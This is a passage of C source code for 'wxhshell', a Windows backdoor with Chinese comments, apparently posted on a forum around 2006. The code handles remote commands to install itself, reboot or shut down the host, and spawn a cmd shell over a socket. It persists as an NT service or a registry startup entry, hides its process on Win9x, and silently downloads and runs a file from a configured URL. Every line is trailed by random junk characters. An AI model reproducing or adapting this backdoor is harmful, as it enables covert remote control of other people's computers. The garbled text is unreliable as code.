      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AdNsY/Y(  
    break; B|&<  
  } <PxEl4  
  // 安装 QZfnoKz  
  case 'i': { KVCS(oN  
    if(Install()) "x11 YM{F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N.?Wev{  
    else ~nQb;Bdh%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~08v]j q  
    break; `*a,8M%  
    } i]v!o$7  
  // 卸载 J98K:SAR  
  case 'r': { ?0x;L/d])  
    if(Uninstall()) 21qhlkdc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 92i# It}-/  
    else c LJCLKJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'zaB5d~l  
    break; ]2jnY&a5  
    } G r)+O  
  // 显示 wxhshell 所在路径 Z6p>R;9n  
  case 'p': { fu/c)D6u*m  
    char svExeFile[MAX_PATH]; w#XJ!f6*_9  
    strcpy(svExeFile,"\n\r"); >Vvc55z  
      strcat(svExeFile,ExeFile); :vjbuqN]  
        send(wsh,svExeFile,strlen(svExeFile),0); qA30G~S  
    break; O_ c K 4  
    } 1^COR+>L  
  // 重启 ?=l(29tH  
  case 'b': { So:89T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !v-(O"a  
    if(Boot(REBOOT)) #?9o A4Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iq#Z\Y(  
    else { T1E=<q4  
    closesocket(wsh); - M]C-$  
    ExitThread(0); 9SPu 4i  
    } ?6Gq &  
    break; 5>HI/QG  
    } PJLA^eC7>  
  // 关机 Dz?F,g_  
  case 'd': { _?ym,@} #  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z+?j8(:n  
    if(Boot(SHUTDOWN)) 2+enRR~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z8x(_ft5  
    else { C9h8d   
    closesocket(wsh); S(Pal/-"  
    ExitThread(0); z)26Ahm TV  
    } o|+tRl  
    break; F~B8XUa3  
    } xiI!_0'  
  // 获取shell (.c?)_G,  
  case 's': { yVL~SH|  
    CmdShell(wsh); [;(| ^0  
    closesocket(wsh); `{ /tx!  
    ExitThread(0); *VH1(E`hl  
    break; e\89;)  
  } Q_dFZ  
  // 退出 +#W5Qb}VR  
  case 'x': { mUjA9[@   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  oDC3AK&  
    CloseIt(wsh); VbN]z:  
    break; W`Soa&9  
    } ZA!vxQ?P,  
  // 离开 Q~9:}_@  
  case 'q': { JwO+Dd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m*'#`vIbb  
    closesocket(wsh); %63<Iz"  
    WSACleanup(); [\!S-:  
    exit(1); {E9Y)Z9  
    break; /<})+=>6f  
        } Zy'bX* s|  
  } u$0>K,f  
  } a}wB7B;,g  
MV/JZ;55  
  // 提示信息 .JzO f[g5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ISl'g'o  
} Eb.{M  
  } =q._Qsj?fu  
o5)U3U1|  
  return; A`@we  
} f.,-KIiF  
9+L! A  
// shell模块句柄 ?.T=(-  
int CmdShell(SOCKET sock) ?D.] c;PR  
{ n_aKciF  
STARTUPINFO si; (Yx rZ_F'b  
ZeroMemory(&si,sizeof(si)); vs.q<i-u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OvFZ&S[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O6`@'N>6P  
PROCESS_INFORMATION ProcessInfo; X 6>Pq  
char cmdline[]="cmd"; <_NF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <'/+E4m  
  return 0; f[.]JC+,  
} MZ{)`7acR\  
z_zr3XR9  
// 自身启动模式 c<e$6:|xM  
int StartFromService(void) y"7?]#$9/  
{ 6rRPqO j  
typedef struct  bSmRo  
{ ?vZ&CB  
  DWORD ExitStatus; oV*3Mec  
  DWORD PebBaseAddress; X }^,g  
  DWORD AffinityMask; uy B ?-Y+  
  DWORD BasePriority; Tj.;\a|d  
  ULONG UniqueProcessId; BqR8%F  
  ULONG InheritedFromUniqueProcessId; a/?gp>M9  
}   PROCESS_BASIC_INFORMATION; <uA|nYpp  
 iKDGYM  
PROCNTQSIP NtQueryInformationProcess; Q i?   
7Npz {C{I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iJq}tIk#2'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #fa~^]EM]  
gP<l  
  HANDLE             hProcess; Q tRKmry{  
  PROCESS_BASIC_INFORMATION pbi; iX4/;2B=,  
NxNz(R $~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -tDmzuD6  
  if(NULL == hInst ) return 0; *iYs,4  
&359tG0@P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nkv zv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gvz&ppcG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sB /*gO  
Fm*O&6W\@A  
  if (!NtQueryInformationProcess) return 0; 5^tL#  
+lE 9*Gs_$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yaeX-'(Fv[  
  if(!hProcess) return 0; k{9s>l~'  
Wvcj\2'yd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y*P[* /g  
c/pT2/y  
  CloseHandle(hProcess); lqu1H&  
HmQuRW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y,?rykRj  
if(hProcess==NULL) return 0; @ j' I  
N>VA`+aFR  
HMODULE hMod; n- p|7N  
char procName[255]; Cgt{5  
unsigned long cbNeeded; Y0U:i.)  
Nk]r2^.z[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [t,7H  
W| ~Ehg  
  CloseHandle(hProcess); V7 c7(G  
z )k\p'0"  
if(strstr(procName,"services")) return 1; // 以服务启动 i5|!M IY  
M7En%sBp  
  return 0; // 注册表启动 7Sr7a {  
} pnDD9u-4;  
Cvq2UNz(R  
// 主模块 "M2HiV  
int StartWxhshell(LPSTR lpCmdLine) 8j8FQ!M  
{ 3TO$J  
  SOCKET wsl; !x|Ok'izDL  
BOOL val=TRUE; *y7^4I-J  
  int port=0; <0pBu7a  
  struct sockaddr_in door; O7:JG[tR*  
Haiuf)a  
  if(wscfg.ws_autoins) Install(); a&|aK+^8;  
6EJ,czt(  
port=atoi(lpCmdLine); Q;SMwCB0M  
OZ0q6"  
if(port<=0) port=wscfg.ws_port; h@/c76}f6p  
|UE&M3S  
  WSADATA data; k_$w+Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "<NQ2Vr]5  
%J7 ;b<}To  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H<g- Bhv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |no '^  
  door.sin_family = AF_INET; *cJ GrLC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9aYCU/3  
  door.sin_port = htons(port);  H 2\KI(  
d+Pfi)+(I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KZJ;O7'`  
closesocket(wsl); aw {?UvL&  
return 1; ]uj6-0q){W  
} <Sb W QbN  
$D\SueZ  
  if(listen(wsl,2) == INVALID_SOCKET) { vfm |?\  
closesocket(wsl); pzHN:9r  
return 1; U!TFFkX[  
} ma vc$!y  
  Wxhshell(wsl); 4Rp2  
  WSACleanup(); h@t&n@8O?  
}n oI2.-#  
return 0; U C3?XoT\  
WTZP}p1  
} u-yQP@^H  
%jim] ]<S[  
// 以NT服务方式启动 Fz~-m#Ts  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -# |J  
{ _6(QbY'JV`  
DWORD   status = 0; *EvnN:  
  DWORD   specificError = 0xfffffff; rx CSs  
) j_g*<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A9!%H6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7;+:J;xf66  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zw` Xg@;xP  
  serviceStatus.dwWin32ExitCode     = 0; fXEF]C  
  serviceStatus.dwServiceSpecificExitCode = 0; AMGb6enl  
  serviceStatus.dwCheckPoint       = 0; -!k"*P  
  serviceStatus.dwWaitHint       = 0; vn9_tL&  
he;&KzEu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u+~Ta  
  if (hServiceStatusHandle==0) return; p{[Ol  
*O+G}_}  
status = GetLastError(); /MO|q  
  if (status!=NO_ERROR) nPD5/xW  
{ rB~x]5TH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6$lj$8\  
    serviceStatus.dwCheckPoint       = 0; 8S"vRR  
    serviceStatus.dwWaitHint       = 0; :"#EQq]ct  
    serviceStatus.dwWin32ExitCode     = status; ECWn/4Aws  
    serviceStatus.dwServiceSpecificExitCode = specificError; kTL{?-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :)SLi  
    return; 0j F~cV  
  } !g-|@W  
%tT&/F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ! jm>  
  serviceStatus.dwCheckPoint       = 0; oDXUa5x  
  serviceStatus.dwWaitHint       = 0; gT 22!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RHZ5f0b4L  
} ri<E[8\  
1D sgU6"  
// 处理NT服务事件,比如:启动、停止 7loIX Qw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N=YRYU o  
{ s+8 v7ZJ  
switch(fdwControl) q["CT&0  
{ $*tq$DZ4&  
case SERVICE_CONTROL_STOP: %qfql  
  serviceStatus.dwWin32ExitCode = 0; mx y>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zB kS1qMn  
  serviceStatus.dwCheckPoint   = 0; Q-k{Lqa-  
  serviceStatus.dwWaitHint     = 0; 7y1J69IK  
  { mzLDZ# =b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I9-vV>:z  
  } >jD,%yG  
  return;  |W];8  
case SERVICE_CONTROL_PAUSE: n [H3b}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :UGc6  
  break; . T6fPEb  
case SERVICE_CONTROL_CONTINUE: q$(@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5*l~7R  
  break; (,#Rj$W  
case SERVICE_CONTROL_INTERROGATE: vr+O)/P})  
  break; eZ#nZB  
}; BWamF{\d1a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O]o `! c  
} B{^o}:e  
HS =qK  
// 标准应用程序主函数 l8/ tR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \$n?J(N  
{ YKk?BQ"  
 c %w h  
// 获取操作系统版本 @0S3`[/U  
OsIsNt=GetOsVer(); S\RjP*H*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RsIR}.*  
|r[yMI|VR  
  // 从命令行安装 {%.FIw k  
  if(strpbrk(lpCmdLine,"iI")) Install(); f0]8/)  
_C$JO   
  // 下载执行文件 sS/#)/B  
if(wscfg.ws_downexe) { Rd7Xs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `OO=^.-u  
  WinExec(wscfg.ws_filenam,SW_HIDE); @5+ JXD  
} P~$FgAV  
{h5 S=b  
if(!OsIsNt) { ;O5p>o  
// 如果时win9x,隐藏进程并且设置为注册表启动 6Y<'Lyg/  
HideProc(); _R-[*ucq  
StartWxhshell(lpCmdLine); L5=Tj4`  
} i>#[*.|P  
else qfE>N?/  
  if(StartFromService()) =LEKFXqM  
  // 以服务方式启动 /*\pm!]._^  
  StartServiceCtrlDispatcher(DispatchTable); f|G,pDL x  
else SV*h9LL  
  // 普通方式启动 ~?TG SD@(  
  StartWxhshell(lpCmdLine); 7714}%Z  
Ta^l1]9.*  
return 0; H)tnxD0)  
}
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只看该作者 1 发表于: 2006-10-10
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